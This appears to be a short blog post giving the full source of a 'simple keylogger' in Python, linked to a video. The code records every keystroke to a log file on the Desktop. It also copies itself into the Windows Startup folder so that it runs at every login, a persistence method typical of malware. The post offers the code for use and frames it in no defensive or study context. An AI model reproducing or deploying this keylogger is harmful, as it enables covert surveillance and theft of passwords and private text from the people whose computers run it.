How to make Simple Keylogger in python

How to make Simple KEYLOGGER in python 

This video : 


This project code :  {:-)  

from pynput.keyboard import Listener
import os
import logging
from shutil import copyfile

username = os.getlogin()
logging_directory = f"C:/Users/{username}/Desktop"
copyfile('main.py', f'C:/Users/{username}/AppData/Roaming/Microsoft/Start Menu/Startup/main.py')

logging.basicConfig(filename=f"{logging_directory}/mylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def key_handler(key):
    logging.info(key)
with Listener(on_press=key_handler) as listener:
    listener.join()

No comments

Theme images by luoman. Powered by Blogger.